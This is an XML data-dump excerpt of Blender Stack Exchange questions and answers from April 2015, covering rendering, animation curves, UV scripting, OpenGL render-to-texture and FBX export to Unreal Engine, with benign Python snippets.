  <row Id="28627" PostTypeId="1" CreationDate="2015-04-18T19:17:04.040" Score="3" ViewCount="492" Body="&lt;p&gt;First: Please don't flag this as a duplicate, because all the questions in the Stack Exchange don't even near answer my question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I have a bunch of movie strips I want to combine in the VSE, as well as some audio, but when I render, the audio and visual are about a couple seconds out of sync. I have tried everything. Each video strip's sibling audio strip is the exact same length and the exact same frame rate, but it just won't work. I tried many different things, but it just won't work. It's important to note, that the individual source .avi clips appear to have this problem too. As well, all the different clips have the same audio and visual codecs etc. as each other. Here's a screenshot of the Video Sequence Editor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/pic/show.php?id=86933&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/pic/show.php?id=86933&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note it still plays correctly within the preview. How weird.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing I have tried is to delete all the clips and re-import them, and that appeared to work until I figured out that they were all out of order. Re-arranging them sent me back to the drawing board. This sort of hints that they're interacting with each other, which really doesn't make sense if each individual video file has this problem itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Blender v2.73.&#xA;The video codec for all clips and final output is H.264 and the audio codec for them is MP3. Boy, this is confusing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if there's any crucial information I had forgot to add, let me know. Thanks to anyone who can help me with this ridiculous problem!&lt;/p&gt;&#xA;" OwnerUserId="10911" LastActivityDate="2015-04-20T00:28:12.767" Title="Blender audio-visual don't sync" Tags="&lt;rendering&gt;&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28628" PostTypeId="1" AcceptedAnswerId="28636" CreationDate="2015-04-18T20:28:30.067" Score="3" ViewCount="105" Body="&lt;p&gt;I'm new in Blender. I have a problem. When I hit F12 to render my project with Cycles Render, the Blender duplicates the image. I think it will increases my render time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YcNhZ.jpg&quot; alt=&quot;Duplicate&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I just don't want this happen. Anyone can help? Thanks for the reply&lt;/p&gt;&#xA;" OwnerUserId="13845" LastActivityDate="2015-04-18T23:47:03.183" Title="My Blender duplicates the render" Tags="&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="28629" PostTypeId="1" AcceptedAnswerId="28641" CreationDate="2015-04-18T20:32:52.323" Score="4" ViewCount="339" Body="&lt;p&gt;I'm trying to modify the color of an object depending to the time. I set keyframe with the colors and I see the RGB curves in the timeline :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/drjXM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to have HSV curves instead of RGB curves to deal more easily with hue, saturation and value?&lt;/p&gt;&#xA;" OwnerUserId="13523" LastActivityDate="2015-04-19T12:12:54.583" Title="Using hsv curve in timeline" Tags="&lt;animation&gt;&lt;bezier-curves&gt;&lt;keyframes&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28630" PostTypeId="1" CreationDate="2015-04-18T20:35:35.567" Score="3" ViewCount="477" Body="&lt;p&gt;Is it possible to convert color intensity of procedural texture to weighs so it can be used as vertex group in modifiers?&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="12820" LastEditDate="2015-04-19T00:51:02.233" LastActivityDate="2015-04-19T00:51:02.233" Title="How to use procedural texture color as vertex group?" Tags="&lt;modifiers&gt;&lt;weight-painting&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28631" PostTypeId="1" CreationDate="2015-04-18T22:10:41.063" Score="1" ViewCount="64" Body="&lt;p&gt;Say, I have made a terrain patch of dimensions MxN, what rules of thumb do there exist to determine the dimension of the texture WxH, used to texture the terrain patch? From what I understand W and H can be arbitrary, but a low-resolution texture may not look good at all, a too high resolution texture leads to wastage (since more mip-maps need to be generated for the patch to look good when the patch is far away from the camera, I believe). Should I choose W, H from M, N, or should I choose M, N from W, H?&lt;/p&gt;&#xA;" OwnerUserId="1770" LastActivityDate="2015-04-18T22:10:41.063" Title="terrain patch texture dimensions" Tags="&lt;modeling&gt;&lt;texturing&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28635" PostTypeId="1" AcceptedAnswerId="28642" CreationDate="2015-04-18T23:41:22.370" Score="8" ViewCount="4479" Body="&lt;p&gt;Is is possible to decouple x and y zoom factors in the fcurve editor? I'd like to grow to y-scale without affecting how many frames are visible.&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="2217" LastEditDate="2015-04-19T02:06:56.403" LastActivityDate="2018-04-12T09:50:42.467" Title="Axis scales in the f-curve editor" Tags="&lt;interface&gt;&lt;graph-editor&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28636" PostTypeId="2" ParentId="28628" CreationDate="2015-04-18T23:47:03.183" Score="7" Body="&lt;p&gt;To disable tiled render display, use &lt;kbd&gt;N&lt;/kbd&gt; button in Render window to show properties panel, then in Display section disable &lt;strong&gt;Repeat&lt;/strong&gt;. If the image is offscreen use &lt;kbd&gt;F&lt;/kbd&gt; button to center it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GmHJn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-04-18T23:47:03.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28638" PostTypeId="1" CreationDate="2015-04-19T00:07:29.647" Score="3" ViewCount="292" Body="&lt;p&gt;actually I know how to take the 3d and 2d (UV) vertex data.... &lt;a href=&quot;https://blender.stackexchange.com/questions/28066/uv-2d-cursor-and-vertex-coordinates-from-python-script-in-edit-mode&quot;&gt;I'm using this code&lt;/a&gt; with a little modifications&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I'm trying to find the 3d vertex.index equivalent in UV 2d. that in order to know the uv vertex cordinates of especific 3d vertex index.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the same len(3d vertices) and the len(uv 2d vertices), and the 3d vertex only have 1 representation in UV 2d view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but after run the code I have this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GlEvo.png&quot; alt=&quot;confused data&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in the example image I have  3d vertex.index #11 selected  and only one UV 2d vertex selected too with his 2d vertex cordinates (366,839)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in order to know that specific cordinates  I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ob.data.uv_layers.active.data[v.index].select:&#xA;                     print(&quot;vertice selected: &quot;, v.index, &quot; cor: &quot;, uv[0]*x, uv[1]*y)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but as you see in console I have crazy results&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&#xA;I have the same result without UV synch&#xA;&lt;img src=&quot;https://i.stack.imgur.com/1KvUY.png&quot; alt=&quot;WITHOUT synch&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&#xA;if I select all the verts and in UV editor select 1 point... the result is crazy too...   but I want to know the index relation between 3d vertice index and 2d point index and with this method is imposible: &#xA;&lt;img src=&quot;https://i.stack.imgur.com/ehBx2.png&quot; alt=&quot;WITHOUT SYNCH AND SELECT ALL&quot;&gt;&#xA;do you have some ideas please?&lt;/p&gt;&#xA;" OwnerUserId="11077" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-04-19T03:37:49.543" Title="3d vertex.index equivalent in UV 2d" Tags="&lt;python&gt;&lt;scripting&gt;&lt;uv&gt;&lt;add-on&gt;&lt;vertices&gt;" AnswerCount="1" CommentCount="8" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28639" PostTypeId="2" ParentId="28594" CreationDate="2015-04-19T00:13:04.130" Score="4" Body="&lt;p&gt;You have to override the context to be able to call this operator outside of the 3d view :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;&#xA;&#xA;for area in bpy.context.screen.areas:&#xA;    if area.type == 'VIEW_3D':&#xA;&#xA;        override = bpy.context.copy()&#xA;        override['area'] = area&#xA;        override['region'] = area.regions[4]&#xA;&#xA;        bpy.ops.view3d.select_circle(override, x=300, y=150, radius=300, gesture_mode = 3)&#xA;        break&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Update : Finding the camera corners coordinates&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy_extras import view3d_utils, object_utils&#xA;&#xA;scene = bpy.context.scene&#xA;cam = scene.camera&#xA;&#xA;for area in bpy.context.screen.areas:&#xA;    if area.type == 'VIEW_3D':&#xA;        viewport = area.regions[4]&#xA;        rv3d = area.spaces[0].region_3d&#xA;        P1 = (0,0)&#xA;        P2 = (viewport.width, viewport.height)&#xA;&#xA;        depth_location =  view3d_utils.region_2d_to_vector_3d(viewport, rv3d, P1)&#xA;        p = view3d_utils.region_2d_to_location_3d(viewport, rv3d, P1, depth_location)&#xA;        P1cam  = object_utils.world_to_camera_view(scene, cam, p)&#xA;&#xA;&#xA;        depth_location =  view3d_utils.region_2d_to_vector_3d(viewport, rv3d, P2)&#xA;        p = view3d_utils.region_2d_to_location_3d(viewport, rv3d, P2, depth_location)&#xA;        P2cam  = object_utils.world_to_camera_view(scene, cam, p)&#xA;&#xA;&#xA;        cam_width = int(P2[0]/(P2cam[0]-P1cam[0]))&#xA;        cam_x = int(-1*P1cam[0]*cam_width)&#xA;&#xA;        cam_height = int(P2[1]/(P2cam[1]-P1cam[1]))&#xA;        cam_y = int(-1*P1cam[1]*cam_height)&#xA;&#xA;        print(cam_width, cam_height, cam_x, cam_y)&#xA;        print(&quot;\nP(0,0) at (%d, %d) and P(1920, 1080) at ( %d, %d)&quot;%(cam_x, cam_y, cam_x+cam_width, cam_y+cam_height) )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-04-19T14:11:58.003" LastActivityDate="2015-04-19T14:11:58.003" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28640" PostTypeId="2" ParentId="28626" CreationDate="2015-04-19T00:15:12.133" Score="2" Body="&lt;p&gt;To enable shadows from objects with transparency you need to enable &lt;strong&gt;Receive Transparent&lt;/strong&gt; in Shadow section in material tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9ORjL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-04-19T00:15:12.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28641" PostTypeId="2" ParentId="28629" CreationDate="2015-04-19T01:01:22.803" Score="5" Body="&lt;p&gt;you can use the HSV space by adding the Combine_HSV node as input color to you material, then keyframe its values  :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to keyframe a value &lt;kbd&gt;RMB&lt;/kbd&gt; on the value in the &lt;strong&gt;Node Editor&lt;/strong&gt;  and click &lt;strong&gt;&lt;em&gt;Insert Keyframe&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XSZhM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;F-curves :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QXEEK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example file : &lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/187/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=187&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-04-19T12:12:54.583" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28642" PostTypeId="2" ParentId="28635" CreationDate="2015-04-19T01:10:25.330" Score="12" Body="&lt;p&gt;In the curve editor grab and slide the end points of the Y scale to zoom in and out :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/s94qD.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-04-19T01:10:25.330" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28643" PostTypeId="1" CreationDate="2015-04-19T02:18:31.513" Score="3" ViewCount="792" Body="&lt;p&gt;I'm making a YouTube video about a tornado in a campfire I videorecorded. I want to show my viewers the mechanics of the tornado. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a screen shot of what I'm after:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/3RBNSm.jpg&quot; alt=&quot;spiral&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not looking to be a Blender expert (although it looks like a neat program to learn.) I just want to render a 2 turn spiral that I can rotate. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried making a spiral from the add curves. I made it taper as it got higher. I extruded the curve in the Z direction and hacked my way thru disconnecting a segment and connecting two, to complete a mesh. It's exactly what I want, but Blender doesn't see it as a solid. (No faces.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I made a &quot;flat&quot; spiral (that is, no taper in Z), I can extrude it in Properties and Blender sees that as a solid. But I can't figure out how to taper it in Z after the fact.&lt;/p&gt;&#xA;" OwnerUserId="13852" LastEditorUserId="2217" LastEditDate="2015-04-19T02:50:39.590" LastActivityDate="2015-04-23T13:38:27.083" Title="How to make a simple spiral w/ arrow like the Weatherman" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28644" PostTypeId="2" ParentId="28638" CreationDate="2015-04-19T03:22:52.627" Score="3" Body="&lt;p&gt;thanks to @Chebhou here the answer:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for v in ob.data.vertices : &#xA;            for p in ob.data.loops :&#xA;&#xA;                if v.index == p.vertex_index  and v.select:&#xA;&#xA;                    x = ob.data.uv_layers.active.data[p.index].uv[0]&#xA;                    y = ob.data.uv_layers.active.data[p.index].uv[1]&#xA;&#xA;                    print(v.index, &quot; 3d co: &quot;, v.co, &quot; UV co: &quot;, x,&quot;,&quot;,y)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11077" LastEditorUserId="11077" LastEditDate="2015-04-19T03:37:49.543" LastActivityDate="2015-04-19T03:37:49.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28646" PostTypeId="2" ParentId="28615" CreationDate="2015-04-19T10:21:25.307" Score="8" Body="&lt;p&gt;You can redirect &lt;code&gt;stdout&lt;/code&gt; to &lt;code&gt;nul&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender --background --python hello.py 1&amp;gt; nul&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the script use &lt;code&gt;import sys&lt;/code&gt; and one of the following to print to &lt;code&gt;stderr&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;print(&quot;blah blah&quot;, file = sys.stderr)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;or &lt;code&gt;sys.stderr.write(&quot;blah blah&quot;)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;or &lt;code&gt;sys.stdout = sys.stderr&lt;/code&gt; at the start of the script and later &lt;code&gt;print(&quot;blah blah&quot;)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="36510" LastEditDate="2017-03-10T18:04:15.013" LastActivityDate="2017-03-10T18:04:15.013" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28647" PostTypeId="1" AcceptedAnswerId="28968" CreationDate="2015-04-19T10:58:28.487" Score="2" ViewCount="257" Body="&lt;p&gt;Starting with a scene like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9v6Sn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to bake to a transparent image like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/U7I3u.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Gimp a gradient can be added to transparency channel:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gNpb1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result should be an animatable alpha-gradient (with high transparency but visible ,then the objects should blend in along x-axis):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1UBzX.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can this be achieved in Blender?&#xA;Ideally all of this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;initially 20% transparency of objects&lt;/li&gt;&#xA;&lt;li&gt;a gradient that allows to make the objects opaque from left to right&lt;/li&gt;&#xA;&lt;li&gt;optinally a white border (no transparency at all).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All I get from the attached .blend is something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9gioi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The transparency is lost after bake.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/186/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=186&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2015-04-26T07:37:49.570" Title="Is it possible to bake to a texture with animatable alpha gradient?" Tags="&lt;cycles-render-engine&gt;&lt;transparency&gt;&lt;texture-baking&gt;" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="28648" PostTypeId="1" CreationDate="2015-04-19T11:00:24.353" Score="7" ViewCount="1892" Body="&lt;p&gt;Struggling to work out how to make a depth AND height pass, so I can use them in compositing an animation of a city.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depth is easy...height, not so...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some way to mix a vertical gradient with a mist pass to get this result? Or is there a different way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to get the effect of a denser mist at lower levels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if i need to clarify further.&lt;/p&gt;&#xA;" OwnerUserId="3471" LastEditorUserId="3471" LastEditDate="2015-04-20T11:49:08.517" LastActivityDate="2020-03-05T09:49:47.083" Title="how to make a z-depth AND height pass?" Tags="&lt;compositor&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28649" PostTypeId="2" ParentId="28534" CreationDate="2015-04-19T11:42:38.430" Score="4" Body="&lt;p&gt;I am not an openGL expert. The documentation links to OpenGL 2.1. I don't think this version supports render to texture.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bgl&#xA;&#xA;viewport_info = bgl.Buffer(bgl.GL_INT, 4)&#xA;bgl.glGetIntegerv(bgl.GL_VIEWPORT, viewport_info)&#xA;&#xA;WIDTH  = 400&#xA;HEIGHT = 400&#xA;&#xA;img = bpy.data.images.get(&quot;texture&quot;)&#xA;img.gl_load(0, bgl.GL_NEAREST, bgl.GL_NEAREST)&#xA;tex = img.bindcode&#xA;&#xA;out = bpy.data.images.new(&quot;output&quot;, WIDTH, HEIGHT)&#xA;buffer = bgl.Buffer(bgl.GL_FLOAT, WIDTH * HEIGHT * 4)&#xA;&#xA;bgl.glDisable(bgl.GL_SCISSOR_TEST)&#xA;bgl.glViewport(0, 0, HEIGHT, WIDTH)&#xA;&#xA;bgl.glMatrixMode(bgl.GL_MODELVIEW)&#xA;bgl.glPushMatrix()&#xA;bgl.glLoadIdentity()&#xA;&#xA;bgl.glMatrixMode(bgl.GL_PROJECTION)&#xA;bgl.glPushMatrix()&#xA;bgl.glLoadIdentity()&#xA;bgl.gluOrtho2D(0, 1, 0, 1)&#xA;&#xA;bgl.glClearDepth(1.0)&#xA;bgl.glClearColor(0.0, 0.0, 0.0, 0.0)&#xA;bgl.glClear(&#xA;    bgl.GL_COLOR_BUFFER_BIT |&#xA;    bgl.GL_DEPTH_BUFFER_BIT&#xA;)&#xA;&#xA;bgl.glEnable(bgl.GL_TEXTURE_2D)&#xA;bgl.glBindTexture(bgl.GL_TEXTURE_2D, tex)&#xA;&#xA;bgl.glBegin(bgl.GL_TRIANGLES)&#xA;&#xA;bgl.glColor3f(1.0, 1.0, 1.0)&#xA;bgl.glTexCoord2f(0.0, 0.0)&#xA;bgl.glVertex2f(0.0, 0.0)&#xA;bgl.glTexCoord2f(1.0, 0.0)&#xA;bgl.glVertex2f(1.0, 0.0)&#xA;bgl.glTexCoord2f(1.0, 1.0)&#xA;bgl.glVertex2f(1.0, 1.0)&#xA;&#xA;bgl.glEnd()&#xA;&#xA;bgl.glCopyTexImage2D(&#xA;    bgl.GL_TEXTURE_2D, #target&#xA;    0, #level&#xA;    bgl.GL_RGBA, #internalformat&#xA;    0, #x&#xA;    0, #y&#xA;    WIDTH,&#xA;    HEIGHT,&#xA;    0 #border&#xA;)&#xA;&#xA;bgl.glBegin(bgl.GL_QUADS)&#xA;&#xA;bgl.glColor3f(1.0, 1.0, 1.0)&#xA;bgl.glTexCoord2f(0.0, 0.0)&#xA;bgl.glVertex2f(0.0, 0.5)&#xA;bgl.glTexCoord2f(1.0, 0.0)&#xA;bgl.glVertex2f(0.5, 0.5)&#xA;bgl.glTexCoord2f(1.0, 1.0)&#xA;bgl.glVertex2f(0.5, 1.0)&#xA;bgl.glTexCoord2f(0.0, 1.0)&#xA;bgl.glVertex2f(0.0, 1.0)&#xA;&#xA;bgl.glEnd()&#xA;&#xA;bgl.glFinish()&#xA;#bgl.glGetTexImage(bgl.GL_TEXTURE_2D, 0, bgl.GL_RGBA, bgl.GL_FLOAT, buffer)&#xA;bgl.glReadPixels(0, 0, WIDTH, HEIGHT , bgl.GL_RGBA, bgl.GL_FLOAT, buffer)&#xA;out.pixels = buffer[:]&#xA;img.gl_free()&#xA;&#xA;#reset&#xA;bgl.glEnable(bgl.GL_SCISSOR_TEST)&#xA;&#xA;#necessary(?)&#xA;bgl.glViewport(*tuple(viewport_info))&#xA;&#xA;bgl.glMatrixMode(bgl.GL_MODELVIEW)&#xA;bgl.glPopMatrix()&#xA;bgl.glMatrixMode(bgl.GL_PROJECTION)&#xA;bgl.glPopMatrix()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Result&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/laJ2h.png&quot; alt=&quot;result&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2271" LastEditDate="2015-04-19T19:16:16.643" LastActivityDate="2015-04-19T19:16:16.643" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28650" PostTypeId="1" AcceptedAnswerId="28805" CreationDate="2015-04-19T12:44:14.637" Score="2" ViewCount="8614" Body="&lt;p&gt;Hi this is my first time making my own digital asset for a game and I'm running into some oddities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I have a single .blend file which has meshes for my missile turret. My turret has three parts, a base, a rack that spins on top of the base, and a missile launcher itself which pitches up and own in the rack.&lt;/li&gt;&#xA;&lt;li&gt;Since I needed these three parts separate when exporting while maintaining their relatives positions, I grouped them into three groups and used Batch(Groups) setting on FBX export. This produced three FBX files.&lt;/li&gt;&#xA;&lt;li&gt;Then I imported them into UE4 and everything seemed to work fine. When I make a blueprint object and add three static meshes, They maintain their local positions without additional tweaking. I made a yaw script so that only the base stays still but the rack and missile launcher which is child of rack rotates to face the desired target.&lt;/li&gt;&#xA;&lt;li&gt;The missile launcher needs to pitch by rotating on its own pivot(centre of its mass) to face targets with differing altitudes. When I use pitch, my missile launcher needs to rotate on it's own local pivot, ie) center of it's mass/vertices. However it started to rotate using pivot (0,0,0) for some reason. &lt;/li&gt;&#xA;&lt;li&gt;I read this post: &lt;a href=&quot;https://answers.unrealengine.com/questions/23349/how-to-permanently-change-the-pivot-of-a-static-me.html&quot; rel=&quot;nofollow&quot;&gt;https://answers.unrealengine.com/questions/23349/how-to-permanently-change-the-pivot-of-a-static-me.html&lt;/a&gt;, so I went back to the .blend file and changed the local pivot of missile launcher by moving the cursor to the center of the missile launcher and setting pivot option to cursor.&lt;/li&gt;&#xA;&lt;li&gt;&#xA;It didn't work and I decided to edit the individual .FBX file. However, UE4 seems deadsat on keeping the pivot on (0,0,0) and only way to change the pivot point is to align each meshes's desired pivot to (0,0,0) which I do not want to do as it does not preserve the location of each meshes relative to each other.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Am I supposed to rig the turret with bones and then import it as a single item? I didn't want to do that as it seemed unnecessary with no complex animations, just yaw and pitch is all I need.&lt;/p&gt;&#xA;" OwnerUserId="13858" LastEditorUserId="2607" LastEditDate="2015-07-02T18:05:46.013" LastActivityDate="2015-07-02T18:05:46.013" Title="Maintaining local pivot point when importing FBX to Unreal Engine 4" Tags="&lt;export&gt;&lt;unreal-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28651" PostTypeId="1" AcceptedAnswerId="28661" CreationDate="2015-04-19T12:51:03.027" Score="5" ViewCount="1149" Body="&lt;p&gt;I'm trying to create whiskers of a hairy animal, and I can't found a way to keep the whisker's hair particle close enough to the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an illustration:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Wvk2y.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not a mesh instance, I'm using the Cycles Hair Rendering with a &quot;curve segment&quot; primitive and &quot;Thick&quot; shape.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to get rid of the offset between hair's start and the emitter mesh?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to reduce the velocity and increase the length, but both seems to do the same, increasing offset.&lt;/p&gt;&#xA;" OwnerUserId="527" LastEditorUserId="527" LastEditDate="2015-04-19T13:03:47.933" LastActivityDate="2015-04-19T18:21:06.270" Title="Connect hair particle to emitter mesh" Tags="&lt;particles&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28652" PostTypeId="1" CreationDate="2015-04-19T13:05:44.420" Score="2" ViewCount="88" Body="&lt;p&gt;If I'm rendering an animation to a quicktime file, is it safe to open that file, &lt;em&gt;while it's being exported&lt;/em&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if it makes a difference, but I'm using an iMac?&lt;/p&gt;&#xA;" OwnerUserId="13859" LastEditorUserId="2217" LastEditDate="2015-04-19T16:56:54.420" LastActivityDate="2015-04-19T16:56:54.420" Title="Is it safe to open a quicktime video file while it is rendering?" Tags="&lt;rendering&gt;&lt;video&gt;" AnswerCount="0" CommentCount="5" ClosedDate="2015-04-19T23:15:26.830" ContentLicense="CC BY-SA 3.0" />
